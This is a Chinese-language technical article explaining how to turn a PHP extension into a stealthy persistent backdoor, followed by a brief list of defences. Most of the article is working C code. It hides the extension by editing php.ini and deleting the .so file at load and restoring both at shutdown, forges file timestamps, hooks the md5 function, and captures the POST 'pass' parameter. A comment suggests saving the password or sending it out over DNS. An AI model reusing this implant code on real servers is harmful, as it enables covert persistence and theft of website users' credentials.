修改PHP扩展作为持久后门
字数 890 2025-08-18 11:37:28
PHP扩展持久后门技术详解
概述
PHP扩展后门是一种高级持久化技术,通过修改PHP扩展模块实现隐蔽的后门功能。这种技术具有以下特点:
- 隐蔽性强,难以被传统安全设备检测
- 可以绕过常规防火墙规则
- 能够与合法HTTP请求混合,降低被发现风险
- 可实现对PHP核心函数的Hook,获取敏感信息
技术原理
PHP扩展加载机制
- PHP解释器启动时会加载php.ini配置文件
- 通过
extension = path/to/our.so指令加载自定义扩展 - PHP扩展主要关注4个关键Hook:
MINIT:模块初始化时执行(通常以root权限)MSHUTDOWN:模块关闭时执行(通常以root权限)RINIT:请求初始化时执行(以Web服务器用户权限)RSHUTDOWN:请求结束时执行(以Web服务器用户权限)
持久化机制
-
php.ini的隐蔽修改:
- 在
MINIT阶段删除扩展加载行 - 在
MSHUTDOWN阶段恢复扩展加载行 - 修改文件时间戳保持隐蔽
- 在
-
扩展文件的隐蔽:
- 加载时将扩展文件映射到内存
- 删除磁盘上的扩展文件
- 在
MSHUTDOWN阶段将内存中的扩展写回磁盘
实现细节
php.ini隐蔽修改
int modifyExtension(int action) {
char *source = NULL;
char *needle = NULL;
FILE *fp;
size_t newSize;
fp = fopen(PHPINI, "a+");
if (fp != NULL) {
if (action == 1) {
if (fseek(fp, 0L, SEEK_END) == 0) {
long bufsize = ftell(fp); // 获取文件大小
if (bufsize == -1) return -1;
source = malloc(sizeof(char) * (bufsize + 1));
if (fseek(fp, 0L, SEEK_SET) != 0) return -1;
newSize = fread(source, sizeof(char), bufsize, fp);
if (ferror(fp) != 0) return -1;
source[newSize++] = '\0';
needle = strstr(source, LOCATION);
if (needle != 0) {
FILE *tmp = fopen("/tmp/.tmpini", "w");
fwrite(source, (needle - source - 11), 1, tmp); // 11 = len("\nextension=kk.so")
fclose(tmp);
rename("/tmp/.tmpini", PHPINI);
}
free(source);
}
fclose(fp);
}
if (action == 0) {
fwrite("\nextension=", 11, 1, fp);
fwrite(LOCATION, strlen(LOCATION), 1, fp);
fclose(fp);
fprintf(stderr, "[+] Extension added to PHP.INI\n");
} else {
return -1;
}
return 1;
}
}
文件时间戳伪造
struct stat st;
stat(PHPINI, &st);
// 修改文件后恢复时间戳
struct utimbuf new_time;
new_time.actime = st.st_atime;
new_time.modtime = st.st_mtime;
utime(PHPINI, &new_time);
扩展文件内存映射与隐蔽
// MINIT阶段
PHP_MINIT_FUNCTION(PoC) {
int fd, check;
struct utimbuf new_time;
// 1) 获取文件大小
struct stat st;
if (stat(LOCATION, &st) == -1) return SUCCESS;
filesize = st.st_size;
// 2) 打开文件
fd = open(LOCATION, O_RDONLY, 0);
if (fd == -1) return SUCCESS;
// 3) 将文件映射到内存
mapedFile = mmap(NULL, filesize, PROT_READ, MAP_PRIVATE, fd, 0);
close(fd);
// 4) 删除文件
remove(LOCATION);
// 5) 获取php.ini时间戳
stat(PHPINI, &st);
// 6) 修改php.ini并删除扩展行
check = modifyExtension(1);
// 7) 伪造时间戳
new_time.actime = st.st_atime;
new_time.modtime = st.st_mtime;
utime(PHPINI, &new_time);
return SUCCESS;
}
// MSHUTDOWN阶段
PHP_MSHUTDOWN_FUNCTION(Allocer) {
if (mapedFile == MAP_FAILED) return SUCCESS;
int check;
FILE *fp;
struct utimbuf new_time;
struct stat st;
// 将内存中的扩展写回文件
fp = fopen(LOCATION, "w");
fwrite(mapedFile, 1, filesize, fp);
fclose(fp);
munmap(mapedFile, filesize);
// 恢复php.ini设置
stat(PHPINI, &st);
new_time.actime = st.st_atime;
new_time.modtime = st.st_mtime;
check = modifyExtension(0);
utime(PHPINI, &new_time);
return SUCCESS;
}
Hook PHP函数
Hook md5函数示例
// 原始md5函数hook
void zif_md5_hook(INTERNAL_FUNCTION_PARAMETERS) {
php_printf("[+] Hook called\n");
zend_string *arg;
zend_bool raw_output = 0;
ZEND_PARSE_PARAMETERS_START(1, 2)
Z_PARAM_STR(arg)
Z_PARAM_OPTIONAL
Z_PARAM_BOOL(raw_output)
ZEND_PARSE_PARAMETERS_END();
php_printf("[+] MD5 Called with parameter: %s", ZSTR_VAL(arg));
}
// 在MINIT中设置hook
PHP_MINIT_FUNCTION(PoC) {
zend_function *orig;
orig = zend_hash_str_find_ptr(CG(function_table), "md5", strlen("md5"));
orig->internal_function.handler = zif_md5_hook;
// 其他初始化代码...
return SUCCESS;
}
捕获HTTP请求参数
获取POST参数示例
// 在RINIT中捕获POST参数
PHP_RINIT_FUNCTION(PoC) {
zval *password;
zval *post_arr;
HashTable *post_hash;
post_arr = &PG(http_globals)[TRACK_VARS_POST]; // 获取POST数组
post_hash = HASH_OF(post_arr); // 获取HashTable
// 查找特定参数
password = zend_hash_str_find(post_hash, "pass", strlen("pass"));
if (password != 0) {
php_printf("Password: %s", Z_STRVAL_P(password));
// 可以将密码保存到文件或通过DNS外传
}
return SUCCESS;
}
防御措施
-
文件完整性监控:
- 监控php.ini和扩展目录的文件变化
- 使用文件完整性检查工具(如AIDE)
-
行为监控:
- 监控异常的PHP模块加载行为
- 检查未知的PHP扩展
-
权限控制:
- 限制对php.ini和扩展目录的写权限
- 使用SELinux等强制访问控制机制
-
日志分析:
- 分析PHP错误日志中的异常模块加载信息
- 监控异常的HTTP请求模式
-
代码审计:
- 定期审计服务器上的PHP扩展
- 使用静态分析工具检测恶意扩展
总结
PHP扩展后门是一种高级的服务器持久化技术,具有极高的隐蔽性。安全团队应加强对PHP环境的监控,特别是对核心配置文件和扩展模块的变更监控,同时实施严格的文件完整性检查和权限控制,以防范此类高级威胁。